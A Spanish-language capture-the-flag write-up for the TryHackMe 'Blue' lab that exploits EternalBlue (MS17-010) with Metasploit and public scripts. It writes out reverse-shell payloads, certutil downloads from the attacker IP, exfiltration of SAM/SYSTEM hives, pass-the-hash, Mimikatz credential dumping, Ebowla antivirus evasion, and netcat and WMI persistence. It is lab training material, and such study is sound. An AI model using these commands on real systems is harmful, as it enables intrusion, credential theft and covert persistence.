
Blue | WriteUp
Introducción
Bienvenidos a este humilde WriteUp sobre esta sencillita máquina Windows que nos será de utilidad para repasar conceptos básicos y la explotación de diferentes formas sobre la vulnerabilidad MS17-010 o mayormente conocida como EternalBlue. Para que un sea un simple Write-up más hacer dos tipos de explotaciones, una automática con metasploit y otra manual, aunque para la manual tengo que recalcar que la máquina de tryhackme no está preparada para esto y en ciertas ocasiones tendremos problemas, en cambio, existe la misma máquina sin estos problemas en la plataforma hack the box(se necesita subscripción). También comentaros que veréis diferentes ips de “víctima” porque no lo he podido hacer todo de golpe o he tenido que reiniciar la máquina.
Montar el laboratorio
Hace tiempo escuche en un vídeo de S4vitar sobre el gran problema que tiene TryHackMe para ocultar las conexiones entre los diferentes dispositivos conectados a su VPN, no sé si en la actualidad esto estará solucionado, pero para asegurarnos os comparto un recurso de Wh1teDrvg0n que son unas reglas para prohibir las conexiones entrantes no deseadas.
Aseguraros de no tener reglas propias o alguna copia de estas porque al finalizar la máquina limpiaremos todas las reglas existentes.
Conexión VPN
Nos descargamos el archivo VPN, tu icono > Access > Selecciona el servidor VPN y te lo descargas. Puede que el servidor no funcione o no esté disponible, esto lo comprobarás si al lanzar la vpn no se conecta(se queda intentándolo todo el tiempo).
Lanzamos la VPN:
1
sudo openvpn user.ovpn
Configuración de reglas de seguridad.
Esta consola debéis de dejarla abierta para que la conexión no se muera.
Comprobamos que no exista ninguna regla:
1
sudo iptables -L -v -n
iptables vacío. Ejecutamos el script y comprobamos las reglas utilizando el comando anterior.
1
sudo ./safevpn-thm.sh ip_máquina_víctima
La ip indicada es la correspondiente con tun0, interfaz creada por la VPN.
iptable después de ejecutar el script.
Script para limpiar las reglas:
1 |
|
Estructura de directorios.
Por último y no menos importante debemos de crear la estructura de directorios para almacenar la información relevante que vayamos obteniendo.
1 | mkdir {recog,data,exploitation} |
Lanzamos la máquina en TryHackMe y cogemos la ip al vuelo.
Reconocimiento
TryHackMe nos facilita la labor y nos da la IP de la máquina realizada para ser explotada, como sabéis lo primero a realizar es comprobar si el host está activo.
Disponibilidad del host
1 | ping -c 1 10.10.210.75 |
Escaneo con nmap
Vamos a descubrir los puertos abiertos de la máquina:
1 | sudo nmap -p- --open -sS --min-rate 4500 -vvv -n -Pn 10.10.210.75 -oG allPorts |
Recuerda que puedes utilizar varias herramientas y comparar resultados, puedes encontrar algún dato extra.
Escaneo con netcat
1 | nc -zv 10.10.210.75 1-1000 |
Tienes más cómo unicornscan, angryscan, un script en bash…
Extracción de puertos manual
Para escanear los servicios y versiones de los puertos vamos a copiar los puertos en la clipboard, pero en este caso son muchos y no lo queremos copiar a mano podemos utilizar varias utilidades en un momento para ordenar y obtener solo el número de puertos del archivo grepeable extraido.
1 | grep "Ports:" allPorts | tr ' ' '\n' | tail -n +4 | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//' | xargs |
- grep “Ports:” allPorts: Obtenemos la línea que contiene todos los puertos encontrados.
- tr ‘ ‘ ‘\n’: Sustituimos los espacios por saltos de línea.
- tail -n +4: Muestra todas las líneas menos las 4 primeras.
- awk -F ‘/‘ ‘{print $1}’: Indicas que el delimitador es ‘/‘ y que quieres obtener el primer resultado.
- tr ‘\n’ ‘,’: Sustituimos los saltos de línea por comas.
- sed ‘s/.$//‘: Realizamos una sustitución(s -> search and replace), el’.’ representa cualquier carácter, el $ representa el final de la línea y en la zona de remplazo(//) no indicamos nada(entonces se elimina).
Escaneo de servicios y versiones
Escaneo de versión y servicios de los puertos:
1 | sudo nmap -sCV -p135,139,445,49152,49153,49154,49158,49160 10.10.197.255 -oN targeted |
Podemos encontrar alguna información como el nombre del equipo: Jon-PC, Windows 7 y diferentes versiones.
A continuación vamos a ver si nos permite hacer uso de null session.
Comprobaciones SMB y Null Session
1 | smbclient -L //10.10.210.75 -N |
Podemos probar con smbmap, pero comprobamos que tampoco nos deja:
1 | smbmap -H 10.10.210.75 |
Llegados a este punto podemos comprobar si existen vulnerabilidades existentes para este Windows 7. Para ello utilizaremos algunos script en nmap, estos están divididos en categorías:
1 | locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u |
Como es un Windows 7 y el smb esta expuesto comprobamos las vulnerabilidades(vuln) de forma no intrusiva(safe):
1 | nmap -p445 --script "vuln and save" 10.10.197.255 |
Puedes indicar el script:
1 | nmap -p 445 --script smb-vuln-ms17-010 10.10.197.255 |
Puedes utilizar netexec(crackmapexec). Para instalarlo en arch he utilizado el siguiente comando:
1 | pipx install git+https://github.com/Pennyw0rth/NetExec |
1 | netexec smb 10.10.197.255 -M ms17-010 |
Explotación
Explotación con metasploit
Configuración inicial del exploit.
Para explotarlo tenemos diferentes maneras de hacerlo:
Mediante metasploit:
Para explotar eternal blue mediante metasploit tenemos que seguir una serie de pasos.
Abrir metasploit con el comando msfoconsole
Buscar por eternalblue: search eternalblue.
- Copiamos el nombre del primero y indicamos que lo queremos usar:
1
use exploit/windows/smb/ms17_010_eternalblue
- Miramos cuáles son las opciones a rellenar para que el payload funcione correctamente:
1
show options
En este caso, si nos fijamos tenemos que configurar todas las opciones que sean “yes” en Required, al menos que ya haya una configuración por defecto que coincida con nuestra información.
- Seteamos el RHOST:
1
set RHOST 10.10.114.58
Si volvemos a ejecutar la orden show options, nos aparecerá la ip indicada, en caso de equivocarnos podemos utilizar el comando unset RHOSTS
Indicamos LHOST(ya que por defecto utiliza la ip de otra interfaz). Está es la ip que nos da la vpn de tryhackme(tun0).
1
set LHOST 10.21.60.116
Debemos de configurar un payload, esto es el código que se ejecuta en la víctima, normalmente para obtener acceso a ella usando alguna shell, depende de nuestras preferencias usaremos uno u otro(puedes ver los todos con el comando show payloads):
1 | set payload windows/x64/shell/reverse_tcp |
En este caso utilizo una reverse shell para que el equipo víctima me envia una shell a mí.
- Ejecutamos el exploit con el comando run o exploit. En caso de que no funcione revisar que las direcciones esten correctas, que no haya ningun servicio utilizado en el puerto 4444 y a las malas(como fue mi caso) tuve que reiniciar la máquina víctima.
Ya podemos introducir comandos en el equipo víctima.
Una vez aquí nos vamos a salir, para ello utilizamos el comando background o ctrl+z. Vamos a cambiar nuestra sesión reverse shell por una de tipo meterpreter, está sesión es la que se usa por defecto y en lugar de enfadarte y pensar que porque no he usado esta primero es para que nos familiaricemos con la herramienta metasploit.
Meterpreter tiene algunas ventajas frente a la reverse shell cómo:
- Se carga en memoria.
- Capturas de pantalla.
- Registros de teclas..
- ..
Cambio de reverse shell a Meterpreter
Bien, para cambiar de reverse shell a meterpreter vamos a seguir los siguientes pasos:
- Cambiamos al siguiente módulo: use post/multi/manage/shell_to_meterpreter2. Como antes vemos los parámetros a configurar: show options, en este caso solo debemos indicar el ID de la sesión que contiene la reverse shell.
- Para ver el ID de la sesión suspendida debemos utilizar sessions -l* y seguramente tenga el ID 1.
- Seteamos el parámetro: set SESSION 1
- Ejecutamos: run
- Al finalizar comprobamos nuestras sesiones y debe de aparecer una nueva sesión con meterpreter.
- Nos metemos a ella con el comando sessions -i 2(En mi caso con 3 porque cree otra sesión y elimine la 2).
Comandos y algunos extra.
session -i ID: Para conectarnos a la sesión.
sessions -k ID: Para eliminar alguna sesión.
sessions -K: Para eliminar todas las sesiones.
Vamos a escalar privilegios de una forma muy sencilla con meterpreter, si utilizamos el comando help para ver los comandos que tenemos disponibles, vemos getsystem como bien pone en su descripción realiza un intento para escalar privilegios sobre el equipo, si este tiene éxito nos elevará a NT AUTHORITY\SYSTEM.
Podemos hacer getuid para saber con que usuario estamos ahora y saldrá NT AUTHORITY\SYSTEM, esto es porque el servicio smb del que nos hemos aprovechado lo esta utilizando dicho usuario, aunque no tiene porque ser siempre así.
Vamos a ver por encima el concepto de “migrar el proceso”, esto puede ser útil para obtener persistencia, para evadir una detección…
Cuando migras a un proceso, tienes que ver que sea de NT AUTHORITY\SYSTEM(el mismo usuario) y que en la última columna de la derecha(la de path) no este vacía. Todo esto se puede ver con el comando:
1 | ps |
El comando sería:
1 | migrate PID |
No se lo recomiendo hacer no suele ir muy bien, o no funciona en muchos procesos o la sesión se queda pillada y te tienes que salir, y luego no te deja volver a pasar la reverse shell a una sesión meterpreter, si paso esto recomiendo cerrar metasploit y establecer una conexión directamente con meterpreter.
Para obtener el hash de los usuarios del sistema tenemos el comando hashdump en la sesión meterpreter.
Vamos a separar esto:
- Jon:1000: Nombre de usuario y el SID(Security Identifier)
- aad3b435b51404eeaad3b435b51404ee: La primera parte hasta los dos puntos es el hash LM. No nos sirve para nada porque ya no se usa.
- ffb43f0de35be4d9917ac0cc8ad57f8d: Esta segunda parte es el hash NTLM
Podemos utilizar diferentes herramientas para crackear dichos hashes NTLM:
- Crackstation: Página web con la que he podido sacar el hash NTLM de Jon.
La contraseña de Jon es: alqfna22
Obtención de flags:
La primera está en la raíz:
1 | cd / |
Segunda bandera en el directorio donde se almacenan las contraseñas:
1 | cd Windows\\System32\\config |
En la imagen da error porque ya estoy en dicho directorio, ejecute el comando sin querer.
Tercera bandera, ‘Donde los administradores suelen guardar cosas interesantes.’.
1 | cd Users\\Jon\\Documents\\ |
Explotación manual
Uso de zzz exploit
Es bueno saber como usar mestasploit ya que es considerada una herramienta muy pontente, aunque considero que no se debe de abusar de ella porque no ganariamos tanto conocimiento como realizar una explotación manual.
Vamos a buscar un script en google ms17-010 zzz_exploit py de worawit.
1 | git clone https://github.com/worawit/MS17-010 |
Este repositorio funciona mejor con python 2. Vamos a empezar ejecutando el script checker, ya sabéis que yo utilizo arch y debo de instalar un paquete(impacket) para poder ejecutar el script.
1 | sudo pacman -S python2-impacket |
1 | python2 checker.py 10.10.115.185 |
Si en alguno de las pipes te muestra información en lugar de status_access_denied significa que tenemos una forma potencial de ejecutar comandos, incluso ya soo con ver the target is not patched. Esto no significa que no deje, debemos modificar el script checker.py y indicar en el campo USERNAME el usuario guest:
Pero a continuación vemos que el usuario guest no está activado en la máquina víctima.
Puedes poner las credenciales del usuario encontrado con metasploit anteriormente y funcionaría:
Uso de Autoblue
En la máquina de tryhackme no está activado el usuario guest(en la de hack the box sí), pero aún así podemos utilizar el script AutoBlue. Nos permite tener una mayor flexibilidad y retocar ciertas características que metasploit no permite. Este también tiene un checker y nos sale lo siguiente al ejecutarlo:
Al intentar modificar el script para indicar la ruta veo que no se encuentra aquí, siguiendo el rastro, encuentro el problema en la función check_accesisible_pipes(), exactamente en la función de la conexión(conn.find_named_pipe), objeto creado por el módulo importado mysmb(más abajo se ve), una vez aquí dentro busco por el output que nos muestra al no encontrar el diccionario y encuentro la ruta:
Ahora probamos a ejecutar el script de nuevo:
Genial, parece que funciona, ahora debemos de dirigirnos al directorio shellcode y dentro encontraremos un script llamado shell_prep.sh que nos generará la carga, este nos realizará diferentes preguntas al ejecutarlo:
msfvenom: Herramienta para generar payloads, en este caso nuestra reverse shell.
LHOST: Ip que recibe la shell, en este caso ponemos la del adaptador tun de la vpn.
LPORT x64: puerto donde se envía la shell de x64 bits.
LPORT x86: puerto donde se envía la shell de x86 bits.
meterpreter shell o regular cmd: Visto con metasploit, con meterpreter permite hacer algunas cosas extras automátizadas, mas ejecucción en memoria…
staged payload o stageless payload: El payload con etapas tiene la primera parte más pequeña y hace más difícil detectarlo, necesita conexión a internet para descargar el resto, mientras que el payload sin etapas va todo de golpe, puede ser más fácil de detectar. Nosotros utilizaremos este porque vamos a usar netcat para establecer la conexión y no esta preparado para múltiples fases con intercambio de información.
Nos ponemos por escucha con una terminal por el puerto indicado:
1 | sudo rlwrap nc -nlvp 8888 |
Con rlwrap podemos realizar acciones como ctrl+L y más.
Ejecutamos el eternalblue_exploit7.py:
1 | python2 eternalblue_exploit7.py 10.10.244.238 shellcode/sc_x64.bin |
Cómo podéis comprobar no siempre es un camino de rosas, te vas a encontrar muchas trabas, si en el exploit de python(zzz_exploit.py) visto anteriormente hubiera salido algún pipe poniendo el usuario guest tendríamos que haber modificado el script para que en lugar de escribir un archivo en C: se conectará a un recurso compartido mediante smb creado por nosotros para ejecutar un binario netcat.exe para proporcionarnos la reverse shell. Quién quiera entrar más en detalle de cómo realizar en este vídeo de s4ivtar lo explica, minutos 57:00-1:01:19.
Post explotación
Activar el usuario Administrator
En está máquina tenemos desactivados el usuario Administrator, podríamos hacer lo mismo con guest, pero no nos va a hacer falta:
1 | net user Administrator /active:yes |
Copia del archivo SAM y SYSTEM
SAM(Security Account Manager): Base de datos que almacena las credenciales de los usuarios del sistema.
SYSTEM: Parte del registro que contiene información crítica para del sistema y claves de cifrado útiles para descifrar los hashes del archivo SAM.
Nos podemos dirigir al directorio C:\Windows\Temp, crear una carpeta y hacer una copia de estos archivos:
1 | reg save HKLM\system system.backup |
A continuación nos lo vamos a transferir por smb hacía nuestro equipo.
Enlaces simbólicos para impacket
Para compartir recursos mediante SMB desde nuestro equipo Arch vamos a utilizar Impacket, pero en mi caso, al estar en arch y intentar ejecutar el binario me pone que no es encontrado y si esta instalado(pacman -S impacket), al parecer los binarios son almacenados sin indicar impacket- al principo como otros sistemas operativos(ej: Kali Linux) en la ruta /usr/bin/ Bien, pues he encontrado un script realizado por NoobGajen que se encarga de crear enlaces símbolicos en dicho directorio por cada paquete de impacket instalado en la misma ruta /usr/bin.
Script:
1 |
|
Le damos permisos de ejecucción y lanzamos.
Con reiniciar la terminal o cerrarla y abrir otra ya podemos utilizarlo el comando con el formato impacket-…
Transferencia de archivos mediante smb
Utilizamos la herramienta impacket-smbserver para que la víctima nos vea y nos pueda mandar los archivos:
1 | sudo impacket-smbserver smbFolder $(pwd) -smb2support |
impacket-smbserver: Herramienta que nos permite crear un servidor smb.
smbFolder: nombre del recurso compartido.
$(pwd): Directorio que queremos compartir
smb2support: Compatible para los clientes que utilicen smb2.
Acto consecutivo en la shell de la víctima vamos a copiar estos archivos a mi equipo mediante smb:
1 | copy sam.backup \\10.21.60.116\smbFolder\sam |
Y el resultado sería el siguiente:
Al tener estos archivos ya en nuestro equipo podemos utilizar impacket-secretdump que nos devolverá los hashes de los usuarios:
1 | impacket-secretsdump -sam sam -system system LOCAL |
Estos hashes los puedes intentar de romper como hemos visto antes con metasploit, mediante crackstation, hashcat…
Información extra y conexión con el usuario Administrator mediante Pass The Hash
Imaginaros que la contraseña de Administrator(que la hemos puesto nosotros) es muy complicada y no conseguimos sacar el hash, podemos realizar pass the hash, está técnica consiste en conectarse utilizando el hash ntlm en lugar de la contraseña, para ello vamos a utilizar netexec(cómo crackmapexec) para comprobar si esto es posible:
1 | netexec 10.10.110.244 -u 'Administrator' -H '' |
- -H: Hash(en este caso NTLM)
Obtener hashes de contraseña almacenados en memoria, secretos como contraseñas de cuentas.
1 | netexec smb 10.10.91.251 -u 'Administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' --lsa |
No vemos nada interesante.
Para entrar al sistema con el usuario Administrador sería:
1 | rlwrap impacket-psexec WORKGROUP/Administrator@10.10.145.252 -hashes :d144986c6122b1b1654ba39932465528 |
Y así podríamos entrar solo teniendo el hash.
El siguiente paso es utilizar Mimikatz para intentar extraer las credenciales de Administrator de la memoria en texto claro. En una auditoría real, se puede llegar a comprometer un equipo con cuentas no privilegiadas, pero con mimikatz algunas veces se pueden ver contraseñas de usuarios privilegiados en memoria.
Mimikatz y ofuscación con Ebowla para evadir el defender
En este caso nos lo descargamos del siguiente repositorio, recuerda que tiene que ser .exe para transferirlo a la máquina víctima.
Pero antes de transferir nada, tenemos que asegurarnos de que el antivirus(el defender) no nos lo casque, para ello vamos a utilizar Ebowla que nos ofusca el archivo y se desencripta con las variables de entorno de la víctima. Está un poco desactualizado y puede que con los nuevos antivirus o algunos más complejos no funcione, pero para este caso nos sirve.
1 | git clone https://github.com/Genetic-Malware/Ebowla |
Nos dirigimos dentro del directorio Ebowla y abrimos el archivo genetic.config.
Una vez dentro vamos a modificar los siguientes valores:
Ahora vamos un poco en el script hasta que estemos en [[ENV_VAR]] que es la chicha.
Hay que tener cuidado a la hora de rellenarlo, porque si nos equivocamos en alguna luego el binario no se va interpretar bien y no se podrá descrifrar correctamente.
Para ir rellenándolas tendremos que ir a la consola víctima y ir viendo el valores de estas variables de entorno.
Para ver las variables de entorno en windows tenemos el comando: echo %variable_entorno%, cuando no reporta nada mejor no se pone nada, es mejor que no intentéis buscarlo de otra forma porque a lo mejor no lo interpreta correctamente.
Guardamos, cerramos, instalamos las siguientes dependencias para que el script funcione:
1 | sudo pacman -S python2-configobj python2-pyparsing |
Ejecutamos el script:
1 | python2 ebowla.py mimikatz.exe genetic.config |
Si vemos lo que hay en el directorio output que nos ha creado, veremos el archivo go_symmetric_mimikatz.exe.go. Tenemos el script build_x64_go.sh que se va a encargar de compilar nuestro archivo:
1 | ./build_x64_go.sh output/go_symmetric_mimikatz.exe.go mimikatz.exe |
Al ejecutar el script vemos que algo no ha ido bien, que novedad eh, arch y sus cosas. En este caso dice lo siguiente entre otras líneas:
1 | cgo: C compiler "x86_64-w64-mingw32-gcc" not found: exec: "x86_64-w64-mingw32-gcc": executable file not found in $PATH |
Nada pues lo instalamos sudo pacman -S mingw-w64-gcc y volvemos a ejecutar el comando:
Bien, ya nos lo ha creado en el directorio output, vamos a transferir el archivo, en esta ocasión con un servidor en python:
1 | sudo python3 -m http.server 80 |
Y en la máquina víctima nos lo descargamos con certutil:
1 | certutil.exe -f -urlcache -split http://10.21.60.116/mimikatz.exe |
- certutil.exe: Herramienta nativa de Windows que permite administrar certificados y claves criptográficas. En nuestro caso abusamos de él para descargar archivos de internet.
- -f: Sobreescribe un archivo si ya existe.
- -urlcache: Para descargar archivos.
- split: Divide el archivo en muchas partes y luego lo reensambla. Útil para manejar archivos grandes o redes inestables.
Si probamos a ejecutar el programa nos sale lo siguiente:
Ahora en la consola interactiva de mimikatz ponemos lo siguiente:
1 | privilege::debug |
- privilege::debug: Elevamos los privilegios del proceso que esta ejecutando Mimikatz. Intenta habilitar el privlegio SeDebugPrivilege en el proceso para poder inspeccionar y manipular la memoria de otros procesos.
- sekurlsa::logonPasswords: Extrae la información de autenticación de la memoria, específicamente de LSASS(Local Security Authority Sybsystem Service). Nos puede mostrar contraseñas en texto claro, hashes NLTM, Tickets de Kerberos, información sobre sesiones de usuarios activas.
En este caso no nos muestra credenciales en texto claro, pero podría ser que lo hiciera.
Información extra
LaZagne Stealer de contraseñas.
Dejo comentado por aquí que tenemos la herramienta LaZagne que nos permite recolectar credenciales almacenadas en nuestro equipo(navegador, gestores de contraseñas, tokens…).
Activación y conexión sobre RDP
Podemos comprobar si la máquina víctima tiene el servicio RDP disponible:
1 | nmap -p3389 --open -v -n 10.10.145.252 |
Al estar cerrado tendríamos que utilizar netexec para activar el rdp en la máquina víctima:
1 | netexec smb 10.10.145.252 -u 'Administrator' -H 'd144986c6122b1b1654ba39932465528' -M rdp -o action=enable |
- -M rdp: Indicamos el módulo RDP.
- -o action=enable: -o Nos permite pasarle opciones al módulo seleccionado, en este caso que active rdp en caso de que no este.
Otro tip es que ya que tenemos acceso al equipo víctima, podemos comprobar si dicho puerto se ha abierto con el comando:
1 | netstat -na |
- -n: Muestra las direcciones ip y los números de puerto en formato numérico. Sin está opción también intentaría resolver el nombre de los host y tardaría más tiempo.
- -a: Muestra todas las conexiones y puertos activos.
Ejecucción de la conexión para obtener el escritorio:
1 | rdesktop 10.10.145.252 -u 'Administrator' -p 'no_la_tengo' |
Si no tienes la contraseña puedes usar xfreerdp para usar pass the hash, en arch tienes que instalar el paquete AUR:
1 | yay -S freerdp2 |
Después ya lo puedes ejecutar con xfreerdp:
1 | xfreerdp /v:10.10.202.55 /u:Administrator /pth:d144986c6122b1b1654ba39932465528 /sec:rdp |
En W7 no podemos aplicar pass the hash porque necesitamos tener el modo restricted Admin Mode activado, esto solo es posible a partir del Windows 8.1, lo podemos ver en la ayuda del comando xfreerdp si aún así quieres intentarlo verás que no se conecta al usuario Administrator, si no que tienes que introducir la contraseña:
Así que tenemos que seguir buscando una manera para buscar la contraseña sin llegar a descifrar el hash.
Lo que podemos hacer es entrar mediante RDP(ya que la contraseña se la hemos establecido nosotros) con las credenciales Administrator/Administrator, simulando la conexión de un tercero. Una vez realizado esto realizamos las mismas operaciones con mimikatz y vemos si aparece algo más de información.
La idea es ejecutar los comandos del mimikatz una vez conectado por RDP(en mi caso lo he realizado mientras está la conexión activa)
Genial, ahora si podemos ver la contraseña en texto claro, hashes…En caso de ser una contraseña compleja os la podríais encontrar mediante mimikatz y ser de gran ayuda.
Persistencia
1. Cuando se abre una aplicación que nos de una shell.
Cada vez que se abra el explorador de archivos vamos a obtener una shell, lo primero es buscar el binario o nombre de este:
1 | cd C:\Windows\system32 |
Una vez localizado(explorer.exe) debemos realizar una copia:
1 | copy explorer.exe _explorer.exe |
Debemos de subir un binario netcat, para que pueda enviarnos la shell:
Nos lo descargamos en nuestro máquina atacante, en mi caso utilice este repositorio y una vez traido a mi máquina lo renombre como nc.exe.
Nos movemos a la carpeta creada en temp aunque no haría falta porque somos Administradores, pero al estar ya creada.
1 | cd C:\Windows\Temp\postExplotacion |
Y de la misma forma que nos descargamos mimikatz lo hacemos con nc, en este caso no vamos a utilizar ebowla porque el firewall no lo detecta y no hace falta.
1 | sudo python3 -m http.server 80 |
Una vez descargado vamos a añadir el siguiente registro:
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v Debugger /t reg_sz /d "cmd /C _explorer.exe & C:\Windows\Temp\postExplotacion\nc.exe -e cmd 10.21.60.116 443" /f |
En caso de equivocarte con algo para eliminarlo sería así:
1 | reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v Debugger /f |
Si nos ponemos en escucha por el puerto 443 y abrimos el explorador de archivos veremos lo siguiente:
Cómo podeis ver es un poco bastante cantoso, porque se ve la terminal y indica que el comando _explorer no se ha reconocido, según la aplicación que utiliceis se mostrará de una manera u otra. No es recomendable para casos de auditorías reales donde se busque la descripción. Normalmente es útil identificar que aplicaciones son las que abre el usuario constantemente(por ejemplo el office) y realizar algo así, pero más camuflado.
Cuando se cierra la aplicación se cierra el proceso de la cmd, tienes que buscar la manera rápida de poner el proceso en segundo plano o directamente hacerlo al enviar el comando de netcat.
2. Cuando se cierra un programa que nos de una shell.
Esta última opción, desconozco el motivo, pero no consigue darme una shell, dejo por aquí cómo sería el código.
Vamos a indicar que cuando se cierre el bloc de notas(notepad) nos de una shell:
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 |
3. Utilizando los eventos WMI para ejecutar una tarea en intervalos regulares de tiempo.
Está es la mejor de las tres porque es la manera más “sigilosa”, vamos a hacer que cada minuto mande una shell a nuestro equipo, pero antes de eso
Creación de binario para reverse shell con msfvenom:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.60.116 LPORT=443 -f exe -o persistencia.exe |
Una vez transferido con certutil(no hace falta ofuscarlo) vamos a ejecutar el binario y nos ponemos en escucha en nuestro equipo para comprobar que esta correcto y llega la shell.
Una vez comprobado que llega la shell, vamos a introducir los siguientes registros:
1 | wmic /NAMESPACE: "\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" |
Nos ponemos en escucha con netcat como siempre y si esperamos un minuto nos da una consola del usuario Administrator.
Conclusiones finales
Podéis apreciar como se ha podido complicar una simple máquina “Easy”(fácil) cuando te despegas de Metasploit y te metes más en el barro para saber que está pasando, está metodología se utiliza para un mayor control de las situaciones y donde el metasploit no llega, la explotación manual es completamente válida para una certificación como OSCP. Espero que os haya gustado esta máquina y hayáis aprendido tanto como yo en el camino o más:).